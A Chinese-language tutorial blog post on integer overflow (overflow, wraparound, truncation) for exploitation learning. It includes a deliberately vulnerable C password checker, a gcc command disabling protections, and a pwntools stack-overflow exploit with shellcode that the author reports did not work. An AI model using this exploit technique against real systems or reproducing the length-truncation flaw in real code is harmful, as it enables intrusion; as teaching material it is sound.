[二進制漏洞]PWN學習之整數溢出Win篇
整數溢出
如果一個整數用來計算一些敏感數值,如緩沖區大小或數值索引,就會產生潛在的危險。通常情況下,整數溢出並沒有改寫額外的內存,不會直接導致任意代碼執行,但是它會導致棧溢出
和堆溢出
,而后兩者都會導致任意代碼執行
。由於整數溢出發生之后,很難被立即察覺,比較難用一個有效的方法去判斷是否出現或者可能出現整數溢出。
關於整數的異常情況主要有三種:
- (1)溢出,只有有符號數才會發生溢出。有符號數的最高位表示符號,在兩正或兩負相加時,有可能改變符號位的值,產生溢出。
溢出標志OF
可檢測有符號數的溢出; - (2)回繞,無符號數0-1時會變成最大的數,如1字節的無符號數會變為255,而255+1會變成最小數0。
進位標志CF
可檢測無符號數的回繞; - (3)截斷,將一個較大寬度的數存入一個寬度小的操作數中,
高位發生截斷
。
溢出和回繞
溢出分為上溢出和下溢出兩種,上溢出是正數超過了最大數后溢出其OF標志寄存器為1,下溢出是負數超過了最大分為后OF標志寄存器為1,下面是我在Windows7中用VC6進行的演示。
接下來是環繞,是無符號數據的測試。
add指令前
add指令后
sub指令前
sub指令后
漏洞多發函數
整數溢出要配合其他類型的缺陷才能有用,下面的兩個函數都有一個size_t類型的參數(size_t是無符號整數類型的sizeof()的結果),常常被誤用而產生整數溢出,接着就可能導致緩沖區溢出漏洞。
這兩個函數都有一個size_t
的參數,是無符號整型,當有符號負數作為n的參數時候,就會環路產生最大的無符號數。
#inlcude <string.h>
void *memcpy (void *dest,const void *src,size_t n);
char *strncpy(char *dest,const char *src,size_t n);
整數溢出例子
#include <stdio.h>
#include <string.h>
/********************************
* 驗證密碼函數
*********************************/
void validate_password(char *password)
{
//定義一個buffer
char password_buf[11];
//取出passwd的長度
unsigned char passwd_len = strlen(password);
//進行密碼驗證 要求密碼長度在4和8之間
if(passwd_len >= 4 && passwd_len <=8)
{
printf("good!\n");
strcpy(password_buf,password);//將密碼拷貝到buffer中
}
else
{
printf("bad!\n");
}
}
//程序入口點
int main(int argc,char *argv[])
{
validate_password(argv[1]);
}
上面的代碼我做了詳細的注釋,可以看出他的功能是要求用戶輸入一個密碼,並且要求長度在4-8之間,然后拷貝到buffer中。
講真的我要是不學整數溢出之前,我也看不出這代碼哪里有問題,各位大佬的火眼金睛是否能發現?
沒錯問題就出在11行
,這里strlen函數返回的類型是size_t
也就是無符號整型,我們都知道無符號整型的取值范圍是0~4294967295(32位),也就是0xFFFFFFFF 4個字節,而他被存儲在了一個unsigned char
的變量中,unsigned char其實就是byte 最大數值是255即0xFF 1個字節,所以當我們的密碼長度為256的時候就發生環路,長度就變成了0,而我們只要滿足他的條件即 260=4、261=5、262=6、263=7、264=8都能繞過驗證,並且我們在繞過驗證后下面的strcpy將那么大的字符串數據進行拷貝時候緩沖區又會發生溢出,從而可以利用棧漏洞攻擊拿到Shell。
#關閉所有防護 進行編譯
gcc -m32 -fno-stack-protector -z execstack -no-pie -z norelro -o Integer_bug Integer_bug.c
先來進行測試下,輸入長度1和長度4的字符串。
OK接下來生成超過260的字符串,然后運行后看什么數據覆蓋到了eip
寄存器,再用cyclic -l
來計算出位置。
顯示24個字符后即可覆蓋掉eip寄存器。
下面可以來構造payload了。
from pwn import *
#初始化PWN環境
context.arch = 'i386'
context.os = 'linux'
context.log_level = 'debug'
p = process("./Integer_bug")
#payload
retAddress = p32(0xffffd408) #ebp地址
padding = b'A' * 24 #填充
shellcode = asm(shellcraft.sh())#shellcode
sledding = '\x90' * 20 #滑雪橇
bypass = b'B' * (261-len(retAddress)-len(padding)-len(shellcode)-len(sledding))
payload = padding + retAddress + sledding + shellcode+bypass
#攻擊
p.send(payload)
p.interactive()
經過測試不知道是不是gcc版本太高的緣故,執行poc后會斷在strlen函數里面,可能新版gcc對strlen函數進行加強了嗎?
各位有低版本的gcc或者Linux系統可以進行測試下。